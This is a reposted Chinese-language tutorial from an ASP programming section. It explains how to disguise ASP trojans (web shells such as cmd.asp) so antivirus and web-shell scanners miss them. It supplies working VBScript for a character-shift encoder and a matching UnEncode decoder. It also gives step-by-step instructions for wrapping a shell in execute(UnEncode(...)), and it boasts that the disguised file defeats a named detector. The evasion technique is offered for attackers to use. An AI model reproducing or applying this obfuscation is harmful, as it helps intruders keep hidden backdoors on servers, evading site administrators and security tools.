當前位置:開發者網絡 >> 技術教程 >> ASP教程 >> ASP基礎 >> 內容
精彩推薦
分類最新教程
分類熱點教程
    
ASP後門之終極偽裝
作者:未知
日期:2004-11-25
人氣:
投稿:snow(轉貼)
來源:未知
字體:
收藏:加入瀏覽器收藏
以下正文:
記得當年asp木馬出來的時候號稱「永不被殺的木馬」,呵呵,時至今日,隨便什麼殺毒軟件都能將其殺得片甲不留^_^呵呵,受到木馬換殼躲避殺毒軟件思路影響,我們也可以給asp木馬「加殼」(呵呵,當然不是用UPX等)。還等什麼?請往下看。

  其實這個思路很簡單,就是把asp代碼編碼,執行時再解碼。這裡有兩個方法,一是用微軟的工具Script Encoder;二是利用asp的execute函數。


  先說說Script Encoder。這個東東可以在微軟官方網站免費下到,而且還附贈詳細使用說明,這裡就不多說了吧。但是經過它加密後的文件會有<%@ LANGUAGE = VBScript.Encode %>,呵呵,露馬腳了,管理員看到這句話就知道這個asp文件被加密了。那怎麼解密呢?這裡提供一個解密軟件(》點擊進入下載《)。現在知道了吧,微軟的Script Encoder不保險,所以呢,我們要自己寫一個程序出來「加殼」。


  asp的execute函數是拿來執行字符串的,即是說可以把asp語句寫成字符串,然後用execute來執行。比如這行代碼:execute("response.write(""hackerXfiles"")"),執行後的效果等同於執行response.write("hackerXfiles")。這裡由於execute函數里的東東是字符串,故遇到引號要雙寫。呵呵,既然execute裡是字符串,那麼我們就可以把裡面的東東拿來加密了。

  怎麼加密呢?呵呵,就用最簡單的移位法好了。請看代碼:


  but=1
  cc=replace(nr,vbcrlf,"胡")
  for i= 1 to len(cc)
    if mid(cc,i,1)<>"胡" then
      pk=asc(mid(cc,i,1))+but
      if pk>126 then
        pk=pk-95
      elseif pk<32 then
        pk=pk+95
      end if
      temp=temp&chr(pk)
    else
      temp=temp&"胡"
    end if
  next
  temp=replace(temp,"""","""""")
  response.write(temp)

  這段代碼就是asp下的循環移位法。那個變量but就是移位的位數,可修改。呵呵,怎麼叫循環呢?因為程序會比較字符的ascii碼,當大於126或者小於32時就會處理,使範圍在32∼126之間。因為這樣可以避免出現windows不能顯示的字符。這也是一開始就把回車換行符替換掉的原因。這裡我自己寫了一個移位加密的asp程序xor.asp附上,希望對你有幫助。

  那就讓我們來看看用上面代碼把response.write("hackerXfiles")加密後的結果:「sftqpotf/xsjuf)#ibdlfsYgjmft#*」,嘿嘿,這回神仙也看不懂了吧^_^

  既然加了密,當然要解密啦,看解密代碼:

function UnEncode(temp)
  but=1 '這個是移位法所移的位數!注意修改此處與加密時使用的一致
  for i =1 to len(temp)
    if mid(temp,i,1)<>"胡" then
      pk=asc(mid(temp,i,1))-but
      if pk>126 then
        pk=pk-95
      elseif pk<32 then
        pk=pk+95
      end if
      a=a&chr(pk)
    else
      a=a&vbcrlf
    end if
  next
  UnEncode=a
end function

  呵呵,現在知道怎麼執行了吧,只需調用這個解密函數就是:execute(UnEncode("sftqpotf/xsjuf)#ibdlfsYgjmft#*")),怎麼樣,是不是順利執行了!

在這裡給大家一個示範,好讓大家明白怎麼加密asp木馬。由於海洋的asp木馬代碼太多,我人又懶,就拿那個短小精悍的cmd.asp來示範吧!

  首先運行我寫的那個xor.asp,然後用記事本打開cmd.asp,將它的asp代碼部分複製到xor.asp的文本框(看圖),



填好移位參數(這裡我用的1),點「轉換」,呵呵,結果就出來了。然後新建一個文本文檔,把cmd.asp的內容複製進去,前面那個UnEncode函數內容也添進去(這裡要注意修改UnEncode函數里變量but的值與加密時選的移位參數值一致),然後把它的asp部分替換成execute(UnEncode(hu))的形式,其中hu用前一步得到的加密結果賦值。呵呵,然後保存為asp文件就ok啦!這裡就再囉嗦幾句。如果代碼比較長,可以分成幾部分加密,然後多用幾個execute執行就是,但是要注意必須保證asp代碼的完整性,也就是說不能把相關聯的代碼如if、end if分到兩個execute裡去了。

  看看吧,同樣可以運行!



  8期的光盤裡有個思易ASP木馬追捕器,呵呵,正好順手拿來檢測我們今天的成果。嘿嘿,看結果,它對cmd.asp原版本和用Script Encoder加過密的海洋頂端網的2005版可以檢測到,而對我們剛才精心炮製的xcmd.asp卻什麼都檢測不到!呵呵
相關文章: